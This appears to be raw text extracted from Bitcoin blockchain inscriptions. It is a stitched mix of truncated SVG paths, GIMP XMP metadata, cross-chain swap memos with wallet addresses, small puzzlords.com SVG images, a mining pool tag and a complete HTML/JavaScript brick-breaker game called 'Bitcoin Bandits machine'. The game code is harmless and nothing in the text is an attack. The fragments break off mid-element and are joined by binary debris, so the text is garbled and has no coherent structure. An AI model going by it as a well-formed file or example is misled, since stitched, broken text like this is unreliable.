6.547h1.635v-1.637h-4.088v-6.547h-4.087v-13.094h-1.634v13.094h-1.635V275ZM77.8 348.727h50.672v4.905h6.247v2.102h5.553v2.102h-5.553V519H72.247V357.836H66v-2.102h6.247v-2.102H77.8v-4.905Zm54.142 13.313h-2.082v9.109h2.082v-9.109Zm-4.859 0h-2.082v9.109h2.082v-9.109Zm-6.941 0h2.082v9.109h-2.082v-9.109Zm-3.471 0h-2.082v9.109h2.082v-9.109Zm-6.941 0h2.083v9.109h-2.083v-9.109Zm-2.776 0h-2.083v9.109h2.083v-9.109Zm-6.942 0h2.083v9.109h-2.083v-9.109Zm-2.776 0h-2.083v9.109h2.083v-9.109Zm-6.942 0h2.083v9.109h-2.082v-9.109Zm-3.47M
 0h-2.082v9.109h2.082v-9.109Zm-6.941 0h2.082v9.109h-2.082v-9.109Zm-2.777 0h-2.082v9.109h2.082v-9.109Zm54.836 11.912h-2.082v9.11h2.082v-9.11Zm-4.859 0h-2.082v9.11h2.082v-9.11Zm-6.941 0h2.082v9.11h-2.082v-9.11Zm-3.471 0h-2.082v9.11h2.082v-9.11Zm-6.941 0h2.083v9.11h-2.083v-9.11Zm-2.776 0h-2.083v9.11h2.083v-9.11Zm-6.942 0h2.083v9.11h-2.083v-9.11Zm-2.776 0h-2.083v9.11h2.083v-9.11Zm-6.942 0h2.083v9.11h-2.082v-9.11Zm-3.47 0h-2.082v9.11h2.082v-9.11Zm-6.941 0h2.082v9.11h-2.082v-9.11Zm-2.777 0h-2.082v9.11h2.082v-9.11Zm43.036M
 11.912h2.082v9.11h-2.082v-9.11Zm-5.553 0h2.082v9.11h-2.082v-9.11Zm-2.776 0h-2.083v9.11h2.083v-9.11Zm-6.942 0h2.083v9.11h-2.083v-9.11Zm-2.776 0h-2.083v9.11h2.083v-9.11Zm-6.942 0h2.083v9.11h-2.083v-9.11Zm-2.776 0h-2.082v9.11h2.082v-9.11Zm-7.635 0h2.082v9.11h-2.082v-9.11Zm-2.777 0h-2.082v9.11h2.082v-9.11Zm-6.941 0h2.082v9.11h-2.082v-9.11Zm36.789 11.913h-2.083v9.109h2.083v-9.109Zm-4.859 0h-2.083v9.109h2.083v-9.109Zm-6.942 0h2.083v9.109h-2.083v-9.109Zm-2.776 0h-2.083v9.109h2.083v-9.109Zm-6.942 0h2.083v9.109h-2.082v-9.1M
09Zm-3.47 0h-2.082v9.109h2.082v-9.109Zm-6.941 0h2.082v9.109h-2.082v-9.109Zm-2.777 0h-2.082v9.109h2.082v-9.109Zm29.848 11.912h-2.083v9.109h2.083v-9.109Zm-4.859 0h-2.083v9.109h2.083v-9.109Zm-6.942 0h2.083v9.109h-2.083v-9.109Zm-2.776 0h-2.082v9.109h2.082v-9.109Zm-7.635 0h2.082v9.109h-2.082v-9.109Zm-2.777 0h-2.082v9.109h2.082v-9.109Zm-6.941 0h2.082v9.109h-2.082v-9.109Z" class="m2" clip-rule="evenodd" opacity=".8"/>
        <path fill="#B86251" d="M117.5 393H65l-13 36 85.5 102.5L307 578l161.5-46.5L501 432H369l-31-31h-77M
.5v24h-111l-32-32Z" class="m1"/>
        <path fill="url(#f)" fill-rule="evenodd" d="M134 296h-2v22h-10.5v2h2.5v115H54l76 108 156 29.5L418 543l29-43.906V507h77V353l-7.778 2v2.165l-14.778 4.026v-2.051l-7.777 2v2.17l-15.556 4.238v-2.269l-7.778 2v2.388l-15.555 4.237v-1.974l-7.778 2V462h-28v-42h-46v42h-9.5v-79h-34v34H302v38.5h-9.5v-91H283V360h-2v4.5h-4V344h-2v20.5h-23.5v43h-27L210 444h-23.5V329h-35v-9h2v-2H140v-6h-2v6h-4v-22Zm325.444 189h-3.135l3.135-4.747V485Zm0-23.023V462h-4.666v-.023h4.666ZM333 387h4v4h-4v-4Zm0 6h4vM
4h-4v-4Zm4 6h-4v4h4v-4Zm2-12h4v4h-4v-4Zm10 0h-4v4h4v-4Zm-10 6h4v4h-4v-4Zm120.444 13.721h-4.666v9.209h4.666v-9.209Zm-4.666 13.814h4.666v9.209h-4.666v-9.209Zm4.666 13.814h-4.666v9.209h4.666v-9.209Zm-4.666 13.814h4.666v9.209h-4.666v-9.209Zm4.666 41.442h-4.666v9.209h4.666v-9.209Zm14-82.884h4.667v9.209h-4.667v-9.209Zm4.667 13.814h-4.667v9.209h4.667v-9.209Zm-4.667 13.814h4.667v9.209h-4.667v-9.209Zm4.667 13.814h-4.667v9.209h4.667v-9.209Zm-4.667 13.814h4.667v9.209h-4.667v-9.209Zm4.667 13.814h-4.667V485h4.667v-9.209Zm-4.667M
 13.814h4.667v9.209h-4.667v-9.209Zm42-82.884h-4.666v9.209h4.666v-9.209Zm-4.666 13.814h4.666v9.209h-4.666v-9.209Zm4.666 13.814h-4.666v9.209h4.666v-9.209Zm-4.666 13.814h4.666v9.209h-4.666v-9.209Zm4.666 13.814h-4.666v9.209h4.666v-9.209Zm-4.666 13.814h4.666V485h-4.666v-9.209Zm4.666 13.814h-4.666v9.209h4.666v-9.209Zm-23.333-82.884h4.667v9.209h-4.667v-9.209Zm4.667 13.814h-4.667v9.209h4.667v-9.209Zm-4.667 13.814h4.667v9.209h-4.667v-9.209Zm4.667 13.814h-4.667v9.209h4.667v-9.209Zm-4.667 13.814h4.667v9.209h-4.667v-9.209Zm4.6M
67 13.814h-4.667V485h4.667v-9.209Zm-4.667 13.814h4.667v9.209h-4.667v-9.209ZM164 333h4.5v4.5H164V333Zm11.25 0h-4.5v4.5h4.5V333Zm2.25 0h4.5v4.5h-4.5V333Zm0 6.75h4.5v4.5h-4.5v-4.5Zm-2.25 0h-4.5v4.5h4.5v-4.5Zm2.25 6.75h4.5v4.5h-4.5v-4.5Z" class="m0" clip-rule="evenodd"/>
    <linearGradient id="b" x1="300" x2="300" y1="66" y2="534" class="b" gradientUnits="userSpaceOnUse">
      <stop stop-color="#FFC9B3"/>
      <stop offset="1" stop-color="#fff"/>
    </linearGradient>
radient id="e" x1="300.454" x2="300.454" y1="146.701" y2="258.206" class="e" gradientUnits="userSpaceOnUse">
      <stop stop-color="#FF817E"/>
      <stop offset="1" stop-color="#D94E4B"/>
    </linearGradient>
    <linearGradient id="f" x1="289" x2="289" y1="296" y2="572.5" class="f" gradientUnits="userSpaceOnUse">
      <stop stop-color="#59250F"/>
      <stop offset="1" stop-color="#8B3C31"/>
    </linearGradient>
    <radialGradient id="c" cx="0" cy="0" r="1" class="c" gradientTransform="matrix(0 97 -97 0 300 M
202)" gradientUnits="userSpaceOnUse">
      <stop stop-color="#fff"/>
      <stop offset="1" stop-color="#FFC3C1"/>
    </radialGradient>
    <radialGradient id="d" cx="0" cy="0" r="1" class="d" gradientTransform="rotate(90 49 251) scale(74.3364)" gradientUnits="userSpaceOnUse">
      <stop stop-color="#fff"/>
      <stop offset="1" stop-color="#FF8885"/>
    </radialGradient>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adM
obe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:b4e16b27-dbd6-41ce-b0f4-09c3991f2c6b" xmpMM:InstanceID="xmp.iid:79238M
459-180b-4fcd-8178-d1c787fc65c4" xmpMM:OriginalDocumentID="xmp.did:7ef7b84d-4355-41c8-aff3-8f0c0dbee278" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676418525166355" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T10:48:43+11:00" xmp:ModifyDate="2023:02:15T10:48:43+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:a6c328c3-2e24-4e0a-8cd5-31ad96f92383" stEvt:softwareAgent="M
Gimp 2.10 (Windows)" stEvt:when="2023-02-15T10:48:45"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                          M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Lr                                                                                               <?xpacket end="w"?>h!
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.cM
om/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:4f4dcc61-3ae0-44e1-80b4-a6c91ffdd627" xmpMM:InstanceID="xmp.iid:3bdfd7ec-1abb-4bbf-89dc-3aabbc7cfb30" xmpMM:OriginalDocumentID="xmp.did:2b0ea728-5c36-4153-b1c8-10fcb8c6b184" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676418513117131" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T10:48:31+11:00" xmp:ModifyDate="2023:02:15T10:48:31+11:00"> M
<xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:151e897b-7aed-4d62-bdda-b493694f5861" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T10:48:33"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                            M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                             <?xpacket end="w"?>h!
HjF=:BNB.BUSD-BD1:bnb1wg7jjeuetu7a7janxkecjxggcs5n3tufgm9gnj:610614514::0
Bj@=:ETH.ETH:0xDe94729239C00800361aF555725f31404b427D69:16779112::0
DjB=:ETH.ETH:0xEE51e71Ef86d37Ec7AdaD92D91d6E907f6A7716D:38138325:te:0
Bj@=:BNB.BNB:bnb1s9n85a7e9hy4puppuenaaa7pumadc73nwugz38:482746:te:0
CjA=:BNB.BNB:bnb1745grvdfruk5495aav32mvnnjq3evamczp46wr:7184577:te:0
text/plain;charset=utf-8
gm Bitcoin, hello from Ethereumh!
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffSTq=
*<5?>;5:9CK`QCGZH9:SqTZcfklk@Pv~th}`ikg
1gE:Egggggggggggggggggggggggggggggggggggggggggggggggggg
<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 8 8">
<!--puzzlords.com s1p0109/4096 2,0,1,1,0 ~0.006255715852603316-->
<style type="text/css">
polyline{stroke:#000;stroke-width:0.15}
<rect fill="#767C89" width="100%" height="100%"/>
<polyline fill="#F652A0" points="0,8 5,6 5,6 0,0 "/>
<polyline fill="#52F6A8" points="8,0 1,6 2,6 8,8 "/>
<polyline fill="#36EEE0" points="8,8 6,3 6,4 0,8 "/>
<polyline fill="#36EEE0" points="0,0 7,7 6,7 8,0 "/>
((((((((((((((((((((((((((((((((((((((((((((((((((
c/Foundry USA Pool #dropgold/
Aj?=:ETH.ETH:0xaaae4b6d5c086cb72b5429194c811601670d82d9:1349011722
LjJ=:ETH.THOR-044:0x3c5fb2ee722838876e8238de89e875f98b249778:91779874634:t:30
FjDOUT:BCDA44AF758A81983A541A1CC09DFADD2F24641E1B972A39915B351F0235AEB2
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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" class="background"><div class="game"><canvas width="400" height="500" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const level1=[[],[],[],[],[],[],["R","RM
","R","R","R","R","R","R","R","R","R","R","R","R"],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"]];const colorMap={l:"red",i:"orange",t:"green",o:"yellow"};constM
 brickGap=2;const brickWidth=25;const brickHeight=12;const wallSize=12;const bricks=[];for(let a=0;a<level1.length;a++){for(let l=0;l<level1[a].length;l++){const colorCode=level1[a][l];bricks.push({x:wallSize+(brickWidth+brickGap)*l,y:wallSize+(brickHeight+brickGap)*a,color:colorMap[colorCode],width:brickWidth,height:brickHeight})}}const paddle={x:canvas.width/2-brickWidth/2,y:440,width:brickWidth,height:brickHeight,dx:0};const ball={x:130,y:260,width:5,height:5,speed:2,dx:0,dy:0};function collides(l,a){return l.x<M
a.x+a.width&&l.x+l.width>a.x&&l.y<a.y+a.height&&l.y+l.height>a.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);paddle.x+=paddle.dx;if(paddle.x<wallSize){paddle.x=wallSize}else if(paddle.x+brickWidth>canvas.width-wallSize){paddle.x=canvas.width-wallSize-brickWidth}ball.x+=ball.dx;ball.y+=ball.dy;if(ball.x<wallSize){ball.x=wallSize;ball.dx*=-1}else if(ball.x+ball.width>canvas.width-wallSize){ball.x=canvas.width-wallSize-ball.width;ball.dx*=-1}if(ball.y<wallSize){ball.y=M
wallSize;ball.dy*=-1}if(ball.y>canvas.height){ball.x=130;ball.y=260;ball.dx=0;ball.dy=0}if(collides(ball,paddle)){ball.dy*=-1;ball.y=paddle.y-ball.height}for(let l=0;l<bricks.length;l++){const a=bricks[l];if(collides(ball,a)){bricks.splice(l,1);if(ball.y+ball.height-ball.speed<=a.y||ball.y>=a.y+a.height-ball.speed){ball.dy*=-1}else{ball.dx*=-1}break}}context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,wallSize);context.fillRect(0,0,wallSize,canvas.height);context.fillRect(canvas.width-wallSize,0,wallSizM
e,canvas.height);if(ball.dx||ball.dy){context.fillRect(ball.x,ball.y,ball.width,ball.height)}bricks.forEach(function(l){context.fillStyle=l.color;context.fillRect(l.x,l.y,l.width,l.height)});context.fillStyle="cyan";context.fillRect(paddle.x,paddle.y,paddle.width,paddle.height)}document.addEventListener("keydown",function(l){if(l.which===37){paddle.dx=-3}else if(l.which===39){paddle.dx=3}if(ball.dx===0&&ball.dy===0&&l.which===32){ball.dx=ball.speed;ball.dy=ball.speed}});document.addEventListener("keyup",function(l)L[{if(l.which===37||l.which===39){paddle.dx=0}});requestAnimationFrame(loop);</script></html>h!
<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 8 8">
<!--puzzlords.com s1p0110/4096 2,2,2,2,0 ~0.3413856099359691-->
<style type="text/css">
polyline{stroke:#000;stroke-width:0.15}
<rect fill="#767C89" width="100%" height="100%"/>
<polyline fill="#F652A0" points="0,8 1,2 2,4 0,0 "/>
<polyline fill="#F652A0" points="8,0 3,2 4,3 8,8 "/>
<polyline fill="#F652A0" points="8,8 4,7 4,6 0,8 "/>
<polyline fill="#F652A0" points="0,0 2,3 4,3 8,0 "/>
text/html;charset=utf-8
